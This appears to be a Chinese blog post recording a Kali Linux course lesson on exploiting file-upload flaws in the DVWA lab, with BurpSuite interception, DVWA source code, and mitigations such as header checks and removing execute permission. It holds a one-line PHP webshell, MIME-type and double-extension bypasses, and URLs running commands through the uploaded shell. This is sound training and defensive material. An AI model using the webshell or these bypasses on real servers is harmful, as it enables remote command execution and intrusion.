Kali Linux渗透测试 088 手动漏洞挖掘-文件上传漏洞

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 文件上传漏洞
2. 测试文件上传漏洞
    2-1. 正常模式
    2-2. 测试 dvwa Low 安全级别
        2-2-1. 测试漏洞
        2-2-2. 使用 BurpSuite 进行抓包
2-3. 测试 dvwa Medium 安全级别
    2-3-1. 测试漏洞
    2-3-2. 使用 BurpSui
2-4. 测试 dvwa High 安全级别
    2-4-1. 测试漏洞
    2-4-2. 使用 BurpSuite 进行抓包
3. 高安全性解决办法
    3-1. 解决办法
    3-2. 进行测试攻击
4. 多方面的解决办法

1. 文件上传漏洞

  • php 代码

    <?php echo shell_exec($_GET['cmd']);?>
    
  • 直接上传 webshell

  • 修改文件类型上传 webshell

    • mimetype 文件头、扩展名
  • 修改扩展名上传 webshell

    • 静态解析文件扩展名可能无法执行
  • 文件头绕过过滤文件上传 webshell

  • 删除目录执行权限增加安全性

2. 测试文件上传漏洞


0. 正常模式

1. 测试 dvwa Low 安全级别

1. 测试漏洞

  1. 新建 test.php 文件

    root@kali:~/Desktop# cat test.php

2. 使用 BurpSuite 进行抓包

  1. 关闭截断功能

  2. 浏览器配置 BurpSuite 代理

  3. 执行文件上传操作并且查看数据包



  4. 数据包中规定有文件大小限制,规定只能上传 100000 (100K)字节以内的文件,通过截断代理功能修改参数




2. 测试 dvwa Medium 安全级别

1. 测试漏洞

  1. 上传大小合适的 .png 图片文件

  2. 查看源代码

    #发现对问价格式和文件大小都进行了过滤
     <?php
        if (isset($_POST['Upload'])) {
                $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
                $target_path = $target_path . basename($_FILES['uploaded']['name']);
                $uploaded_name = $_FILES['uploaded']['name'];
                $uploaded_type = $_FILES['uploaded']['type'];
                $uploaded_size = $_FILES['uploaded']['size'];
                if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
                    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                        echo '<pre>';
                        echo 'Your image was not uploaded.';
                        echo '</pre>';
                      } else {
                        echo '<pre>';
                        echo $target_path . ' succesfully uploaded!';
                        echo '</pre>';
                        }
                }
                else{
                    echo '<pre>Your image was not uploaded.</pre>';
                }
            }
    ?> 
    

2. 使用 BurpSuite 进行抓包

  1. 开启截断代理


  2. 上传 test.php,文件大小合适,类型不合适



  3. 关闭截断代理,测试漏洞

    10.10.10.132/dvwa/vulnerabilities/upload/../../hackable/uploads/test.php
    http://10.10.10.132/dvwa/hackable/uploads/test.php?cmd=id
    

3. 测试 dvwa High 安全级别

1. 测试漏洞

  1. mimetype 查看文件格式

    root@kali:~/Desktop# mimetype 22.png 
    22.png: image/png
    root@kali:~/Desktop# mv 22.png 22.jpg
    root@kali:~/Desktop# mimetype 22.jpg 
    22.jpg: image/jpeg
    
    先查看文件前十个字节判断是image,
    然后使用文件后缀名判断具体文件格式。
    
    root@kali:~/Desktop# mimetype 11.php 
    11.php: application/x-php
    root@kali:~/Desktop# mv 11.php 11.jpg
    root@kali:~/Desktop# mimetype 11.jpg 
    11.jpg: application/x-php
    
  2. 查看源码

    # 发现是完全按照文件真实扩展名来判断的
    <?php
    if (isset($_POST['Upload'])) {
                $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
                $target_path = $target_path . basename($_FILES['uploaded']['name']);
                $uploaded_name = $_FILES['uploaded']['name'];
                $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
                $uploaded_size = $_FILES['uploaded']['size'];
    
                if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
    
                    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {   
                        echo '<pre>';
                        echo 'Your image was not uploaded.';
                        echo '</pre>';
                      } else {
                        echo '<pre>';
                        echo $target_path . ' succesfully uploaded!';
                        echo '</pre>';  
                        }
                }
                else{
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                }
            }
    ?> 
    

2. 使用 BurpSuite 进行抓包

  1. 测试修改文件类型,开启截断代理




  2. 测试添加后缀文件类型

    在文件名后面添加 .jpg

  3. 测试漏洞

    http://10.10.10.132/dvwa/hackable/uploads/test.php.jpg?cmd=id
    

3. 高安全性解决办法

1. 解决办法

对文件的内容头信息(文件前十个字节)进行过滤,判断文件头信息里是否是真实的文件类型

2. 进行测试攻击

  1. 删除 dvwa 多余文件

    root@metasploitable:/var/www/dvwa/hackable/uploads# ls
    dvwa_email.png
    
  2. 上传文件,截断代理

    此安全性防护级别已经超越了 dvwa 的 High 防护级别


  3. 漏洞利用

    http://10.10.10.132/dvwa/hackable/uploads/icon-console.php.jpeg?cmd=id
    

4. 多方面的解决办法

  1. 在服务器端对文件扩展名进行静态解析
  2. 对目录权限进行设置(删除执行权限)

    root@metasploitable:/var/www/dvwa/hackable# ll -d uploads/    
    drwxr-xr-x 2 www-data www-data 4096 Mar  3 16:27 uploads/
    root@metasploitable:/var/www/dvwa/hackable# chmod a-x uploads/
    root@metasploitable:/var/www/dvwa/hackable# ll -d uploads/    
    drw-r--r-- 2 www-data www-data 4096 Mar  3 16:27 uploads/
    

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
├─第1章 课程介绍 │ 任务001:Kali Linux渗透测试介绍.mp4 │ ├─第2章 Kali安装 │ 任务002:Kali Linux安装-硬盘安装、虚拟机安装.mp4 │ 任务003:Kali Linux 安装-持久加密USB安装、熟悉环境、熟悉BASH命令.mp4 │ 任务004:Kali Linux安装-熟悉环境.mp4 │ ├─第3章 工作环境优化 │ 任务005:网络配置、更新升级、安装软件包、浏览器插件.mp4 │ 任务006:安装Java、安装显卡驱动、安装网卡补丁、并发线程限制、电源优化.mp4 │ 任务007:.mp4 │ 任务008:.mp4 │ ├─第4章 实验环境 │ 任务009:实验环境.mp4 │ ├─章 基本工具 │ 任务010:基本工具-NETCAT(telnet-banner、传输文本信息).mp4 │ 任务011:基本工具-NETCAT(传输-目录、流媒体服务、端口扫描、远程克隆硬盘).mp4 │ 任务012:基本工具-远程控制、NCAT、WIRESHARK、WIRESHARK-筛选器、常见协议.mp4 │ 任务013:基本工具-常见协议包、WIRESHARK-TCP.mp4 │ 任务014:WIRESHARK-信息统计、实践.mp4 │ 任务015:TCPDUMP-抓包、筛选、高级筛选、过程文档记录.mp4 │ ├─章 信息收集 │ 任务016:被动信息收集:信息收集内容、信息用途、信息收集DNS、DNS信息收集-NSLOOKUP.mp4 │ 任务017:DNS信息收集-DIGmp4.mp4 │ 任务018:DNS区域传输、DNS字典爆破、DNS信息.mp4 │ 任务019:搜索引擎、SHODAN.mp4 │ 任务020:SHODAN.mp4 │ 任务021:google搜索:实例.mp4 │ 任务022:其他途径.mp4 │ 任务023:RECON-NG.mp4 │ ├─章 主动信息收集 │ 任务024:主动信息收集-发现.mp4 │ 任务025:主动信息收集-发现(二).mp4 │ 任务026:主动信息收集-发现(三).mp4 │ 任务027:主动信息收集-发现(四).mp4 │ 任务028:主动信息收集-发现(五).mp4 │ 任务029:端口扫描.mp4 │ 任务030:端口扫描(二).mp4 │ 任务031:服务扫描.mp4 │ 任务032:操作系统识别.mp4 │ 任务033:SMB扫描.mp4 │ 任务034:SMTP扫描.mp4 │ ├─章 弱点扫描 │ 任务035:弱点扫描.mp4 │ 任务036:NMAP.mp4 │ 任务037:NESSUS.mp4 │ 任务038:NEXPOSE.mp4 │ ├─章 缓冲区溢出 │ 任务039:缓冲区溢出.mp4 │ 任务040:POP3.mp4 │ 任务041:FUZZING.mp4 │ 任务042:Linux缓冲区溢出.mp4 │ 任务043:选择和修改EXP.mp4 | ├─章 提权 │ 任务45: 抓包嗅探.mp4 │ 任务46: WCE.mp4 │ 任务47: 利用漏洞提权.mp │ 任务48: 利用配置不当提权.mp4 │ 任务49: 收集敏感数据、隐藏痕迹.mp4 │ ├─章 无线 │ 任务050:无线渗透.mp4 │ 任务051:无线网运行模式和无线网硬件设备及基本概念.mp4 │ 任务052:无线技术概念.mp4 │ 任务053:Linux 无线协议栈及配置命令.mp4 │ 任务054:RADIOTAP头部.mp4 │ 任务055:CONTROL FRAME.mp4 │ 任务056:MANAGEMENT FRAME 管理帧.mp4 │ 任务057:REASSOCIATION REQUEST FRAME.mp4 │ 任务058:WEP加密、RC4算法.mp4 │ 任务059:WPA安全系统.mp4 │ 任务060:交换、无线渗透实操:AIRCRACK-NG基础、AIRODUMP-NG排错.mp4 │ 任务061:AIREPLAY-NG.mp4 │ 任务062:Mac地址绑定.mp4 │ 任务063:WPA.mp4 │ 任务064:COWPATTY 密码.mp4 │ 任务065:WPS.mp4 │ 任务066:WPS及其他工具.mp4 │ 任务067:EVIL TWIN AP、ROGUE AP.mp4 │ 任务068:AIRRACK-NG SUITE.mp4 │ 任务069:AIRRACK-NG(二).mp4 │ ├─章 补充 │ 任务070:协议分析.mp4 │ ├─第13章 Web渗透 │ 任务071:HTTP协议基础.mp4 │ 任务072:扫描工具-Nikto.mp4 │ 任务073:vega.mp4 │ 任务074:skipfish.mp4 │ 任务075:w3af.mp4 │ 任务076:w3af-身份认证.mp4 │ 任务077:w3af-截断.mp4 │ 任务078:Arachni.mp4 │ 任务079:OWASP_ZAP.mp4 │ 任务080:Burpsuite.mp4 │ 任务081:Burpsuite-intruder.mp4 │ 任务082:Burpsuite-repeater,Sequencer,编码,截断工具.mp4 │ 任务083:ACUNETIX WEB VULNERABILITY SCANNER.mp4 │ 任务084:APPSCAN.mp4 │ 任务085:答疑(Conky、、Linux4.4内核发布),手动漏洞挖掘.mp4 │ 任务086:手动漏洞挖掘(二).mp4 │ 任务087:手动漏洞挖掘(三).mp4 │ 任务088手动漏洞挖掘(四).mp4 │ 任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入).mp4 │ 任务090:手动漏洞挖掘-SQL注入.mp4 │ 任务091:手动漏洞挖掘-SQL注入.mp4 │ 任务092:手动漏洞挖掘-SQL盲注.mp4 │ 任务093:SQLMAP- 自动注入.mp4 │ 任务094:SQLMAP自动注入-REQUEST.mp4 │ 任务095:SQLMAP自动注入(二)-REQUEST和SQLMAP自动注入(三)-OPTIMIZATION.mp4 │ 任务096:SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES、FINGERPRINT.mp4 │ 任务097:SQLMAP自动注入-ENUMERATION、BRUTE FORCE、UDF INJECTION、FILE SYSTEM、OS、WINDOWS REGISTORY、GENERAL、MISCELLANEOUS.mp4 │ 任务098:XSS-简介、跨站脚本检测和常见的利用手段.mp4 │ 任务099:XSS- 键盘记录器和反射型XSS.mp4 │ 任务100:存储型XSS和BEEF浏览器框架.mp4 │ 任务101:CSRF.mp4 │ 任务102:WEBSHELL.mp4 │ 任务103:HTTPS.mp4 │ 任务104:SSL、TLS中间人.mp4 │ 任务105:SSL、TLS拒绝服务和补充概念.mp4 │ ├─第14章 密码 │ 任务106:思路、身份认证方法、密码方法、字典.mp4 │ 任务107:字典、在线密码-hydra.mp4 │ 任务108:在线密码-hydra、在线密码-medusa、离线密码.mp4 │ 任务109:离线密码、离线密码-Hashcat.mp4 │ 任务110:离线密码.mp4 │ 任务111:密码嗅探(第四版剪辑版).mp4 │ 任务112:密码嗅探、中间人.mp4 │ 任务113:中间人、ARP MITM、中间人、Pass the Hash.mp4 │ ├─第15章 流量操控与隧道 │ 任务114:流量操控技术、重定向.mp4 │ 任务115:SSH隧道和SSH本地端口转发.mp4 │ 任务116:SSH远程端口转发和动态端口转发以及X协议转发.mp4 │ 任务117:DNS协议隧道、DNS协议隧道-dns2tcp.mp4 │ 任务118:DNS协议隧道-dns2tcp.mp4 │ 任务119:DNS协议隧道-iodine、NCAT.mp4 │ 任务120:SOCAT.mp4 │ 任务121:ptunnle.mp4 │ 任务122:proxytunnle.mp4 │ 任务123:sslh.mp4 │ 任务124:补充Proxytunnel、stunnel4.mp4 │ ├─第16章 拒绝服务 │ 任务125:拒绝服务介绍、DoS分类、个人DoS分类方法.mp4 │ 任务126:Syn-Flood、IP地址欺骗.mp4 │ 任务127:Smurf、Sockstress.mp4 │ 任务128:TearDrop.mp4 │ 任务129:DNS放大.mp4 │ 任务130:SNMP放大.mp4 │ 任务131:NTP放大.mp4 │ 任务132:应用层Dos.mp4 │ 任务133:拒绝服务工具-RUDY、Hping3、LAND、Siege.mp4 │ 任务134:拒绝服务工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye.mp4 │ ├─第17章 免杀 │ 任务135:恶意软件、防软件、免杀技术、当前现状.mp4 │ 任务136:当前现状、软件保护,自己编写后门.mp4 │ 任务137:Veil-evasion.mp4 │ 任务138:Veil-catapult.mp4 │ 任务139:Veil-catapult总结、另一种免杀思路、shellter.mp4 │ 任务140:Backdoor-f
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值